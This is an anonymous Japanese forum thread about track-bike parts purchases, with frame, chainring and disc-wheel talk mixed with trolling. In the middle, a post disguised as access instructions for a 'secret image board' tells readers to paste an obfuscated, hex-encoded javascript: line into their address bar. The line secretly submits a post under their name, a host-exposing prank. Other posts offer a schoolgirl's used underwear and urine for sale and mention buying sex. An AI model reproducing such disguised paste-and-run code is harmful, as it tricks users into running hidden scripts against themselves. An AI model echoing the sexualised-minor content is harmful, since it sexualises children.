今日買ったピストアイテムを書いていくスレ

パナソニックのフレーム79000円

はい、しらけた。

さすが競輪選手は
毎日買い物できるのね。

糞スレ立てるな！

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あとニットーのハンドル。8190円

原木栽培のシイタケ 398円
ガーリックとチーズ乗せてホイル焼き

缶コーヒー98円

初体験　priceless

目覚まし時計1980円
携帯のアラームで代用してたけど、やっぱり目覚まし時計のほうが良いな。

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ブレーキを外すための工具　１０００えんくらい

新しいピストバイク
停車中の車にオカマ掘って果てたから

>>13
当然そのまま逃亡だよな


氏ねばよかったのに

し…仕方ねーだろ

ピストは急に止まれねーんだから

し…仕方ねーだろ

ブレーキ付いてねーんだから

ピストソースの材料

ニンニク
パセリ
バジル
レモン
塩
胡椒
オリーブオイル
松の実

T19のライザーバー買ったお
23.8にはまるグリップあったら教えてくんろ！オリーは駄目だよね？

詐欺師のお財布どもが集まるスレはここですか？

ジュラの厚歯の５３Ｔと４７Ｔのチェーンリング。

タイヤはＧＰ4000。

女子高生のおしっこ　５０００えん
女子高生が使ったぱんつ　５０００えん
生脱ぎオプション費用　５０００えん

女買った
100分込みで35000

>>22
高くね？ おれは100分23kだったぜ？

>>23
指名したから

チネリのヴィンレバー

T19のライザー高杉

なんという糞スレ
このスレは間違いなく荒れる

ステッドラーの9000でＢをダース買い。

大人なオレ。

昔の126�_エンドのロード用のフレーム　1万円

ヘッドやBB、シートポストが付属していた
全部NJS刻印のデュラでｳﾏｰ

ＮＪＳ刻印のデュラのＢＢって聞いたことないんだけど、
詳細お願いします。
気になる。

BB7400だよ

>>30
現行の76D/AもNJSですけど。

え、ＮＪＳの刻印ってどこに入ってる?
メンテはショップ任せなんで、目に入るところにあれば気付くと思うんだが。。。

教えてやるのも馬鹿馬鹿しい・・・

ブランド命か

ｱﾎｸｻ

自分でいじれないくせにくだらないことにこだわるな。

すいません、一応、高校で競技でやってます、まだ2年だけど。
土曜は京王閣でよく練習するんだけど、プロの方から何回かＢＢのお古を
頂いたけど、ＮＪＳの刻印は入ってなかったもので聞いてみました。

前カゴ
子供乗せキャリア
ｻｽﾍﾟﾝｼｮﾝﾌｫｰｸ

[2ch公認]

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>>37
ウチの76DAのBBには刻印入ってるが？

どうしてそんなにＮＪＳにこだわるの?不思議でしょうがない

アマ競技者の最初の一台は選手のお下がりってのが良くある話だから
拘る拘らないに関わらず自ずとNJSメインだわな

街乗り君がNJSに拘るのは良く解らん
そのくせレーパン嫌？何だそりゃ
NJSに拘るくらいならメダリスト着ろって話だ

近所の自転車屋でピストフレームをサイズ、色を指定でオーダー。
クロモリのラグ組。
ノーブランドで￥63000

丹下？

日塩もみじライン 通行料600円

ブレーキ台座ありの前フォーク

ブレーキシュー

ライト

ベル

ブレーキレバー

ハブブラシ

買い物ではないが、リムサイドのそうじをした
雨の中走ったもんだから、ブレーキシューのカスがびっしりついたんだよ

そこでリムブラシ

イズミ Vchain

これはクール！
http://www.youtube.com/watch?v=JRbQ4RAdR5I

三ヶ島のチェーン引きだけパクられた。
わざわざあれだけ持ってくヤツのノーミソの中見てみたいわ。
しゃーないので、売店で160円の普通のヤツ買いました。

>>56
売店で、って、あなたプロ？
宿舎での盗難が多いってきくけど

ブレーキワイヤを交換した

ハブ毛

タイヤセイバー

コリマのカーボンディスク
個人追い抜き用には、ギブリより有利

なんでコリマの方がいいの？

>>62
平板ディスクだから、空気抵抗が少ない。
しかし、横剛性不足になりがちだから、スプリント系はギブリやコメットみたいな形状になる。
４０００のスタートはゆっくりだから問題なし。

個人の場合は平板だと空力の巻き返しを余計に喰らうんじゃないの?
飛行機の翼だって巻き返しを押さえるために通常飛行中でも
丸めてるのに。

>>64
巻き返しという言葉は、聴いたことがないんでわからない。
翼前縁が丸いのは、迎え角が変化しても剥離が発生しないためで、
その役割はタイヤの丸みで十分。

翼厚さは、翼弦の３〜４％が理想とされている。
実際の航空機がそれより厚いのは、構造的に有利だから。
せっかく空気抵抗を減らしても、重量増加が過大なら無意味だ。

自転車のディスクホイールでは、正面から来た空気はタイヤで切り裂かれるわけで、
タイヤの丸みがあるから、平板部で剥離が起きることはないと思われる。
まあ、実際に走ってみればはっきりすることだが。

クリストフのトーストラップ
安いのが取り得

ブライトリングの時計

ビットリア、ピスタＣＳ

いやらっすぃーナンバーゲット

ステッドラー 900 25

前後26インチのＴＴ車がほしい

リム買った。もう少しで完成だ。

後輪をシマノプロにしようと思っているんだが、情報求む
ギブリよりかなり安いんで

>>73
そこで貴方が人柱ですよ。

トップチューブに巻いてるの欲しいんだけど
あれはなぜ巻いてるの？

>>75
何を指すのか、わからん

それと、こっちの方が気になるんだが、
目的もわからずにほしがるのか？

>>75
フレームパッドです。メッセンジャーたちの間で大流行らしいです。
http://www.cb-asahi.co.jp/html/tencho/20070129/index.html

>>77
巻いている理由がかわからないなら、君には必要ないということだ
一応は役割のあるものだが、メッセンジャーには必要ない
単なる流行にすぎんよ
その、流行りものを追いかける悪い癖は直した方がいいな
もっとも、ピスト車自体が、街乗りに適さない無用の長物なんだが

アルミライザーバー
1000えんだった

>>78
おいコラ！けんか売ってんのか！？
折れは>>75に教えただけだろうが！！
誰が欲しがっているって？？？
出直して来い！！！

>>80
アンカーミスでしょ

>>75
電柱にたてかけたり、担いだりするトキのもんだよ
フレームに傷付くのなんてｷﾆｼﾅｲ、ってんならいらない子

大垣競輪８レース、　９→１　９→７ orz

みなさんどうもです。

某店にたむろしてる連中が軒並み装着してて、気になっていたので。
どうやら本来の使い方ではなかったようですね。
スレ汚し失礼しました。

紫のパンティー

釘宮理恵ちゃんのCD

自作品だけど、フレームカバーは俺も使っている
ただし、ハンドルを切ったときに、ぶつかる場所だけ
つまり、トップチューブの前から4分の1あたりに５ｃｍほど
トラックを走るときだけ外す
街道練習はそのまんま

ピスト車以外にも、ロードのTT車には使っている
つまり、バーテープを巻いていない部分がトップチューブにぶつかる車両ということ

>>77のリンクではダウンチューブにも巻かれているけど、不要だね
こんなもの、既製品買うより自作した方が面白いものが作れるんじゃないかな
俺はボロ布を巻きつけただけなんだが

ステムをちょっと長いのに替えた
ポイントや４速から、ケイリン中心になってきたので

［極秘］裏画像掲示板アクセス方法［初心者厳禁］
２ちゃんねる歴２年以下の方はご遠慮下さい。

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

処女膜

固定ギアがなかなか合うのが見つからない！あとギアと後ろのハブだけ。サドル買った4000円。

トランスミッションを薄刃に換えた。
追い抜きは、軽さが一番だもんね。

トランスミッションってなんですか?

>>93
駆動力伝達系のこと
ここでは、前スプロケット、チェーン、後スプロケットのこと

薄刃は、いいの？
追い抜きは、いいの？

>>94
競輪でも薄刃は認定されてるけど、使っている選手が居ない事から
余り関係ないんじゃない？

たぶん固定じゃなくてフリーだったら多少メリットあるかもしれない。
どうしても後輪の動きとクランクの動きでロスがでるから。
現に、シングルのMTBで完成車だと薄刃しかないと思う。

>>95
某選手（ウチのリーダー）の話では、薄刃はもがいたときにチェーンリングがたわむんだって。
パワーは俺の二倍以上だから、関係ない話。
プロが短距離で乗るなら、剛性不足（不安）でしょ。

メリットだけど、ローラーの接触面が違うから、抵抗も違うと推察している。

ローラーの接触面ってのが良く分からんけど、なに？

＞97
チェーンは、幅の狭い側と広い側があるでしょ
その二つは、ローラーとピンで接触している
要は、チェーン自体を曲げ伸ばしする抵抗が違うってこと

>>98
国体出てるけど、抵抗は薄刃でも厚刃でも変わらない。感じないだけかな。
たわみってのもまわりに聞いてみたけど感じないとの事。
でも厚刃のチェーンだとクランク廻す時の慣性が薄刃用よりも働くから
厚刃使ってる。

>>99
慣性大きいのがいいなら、ホイールかタイヤを重くすればいいじゃん
効果は、１５Tで10倍ちょっとだ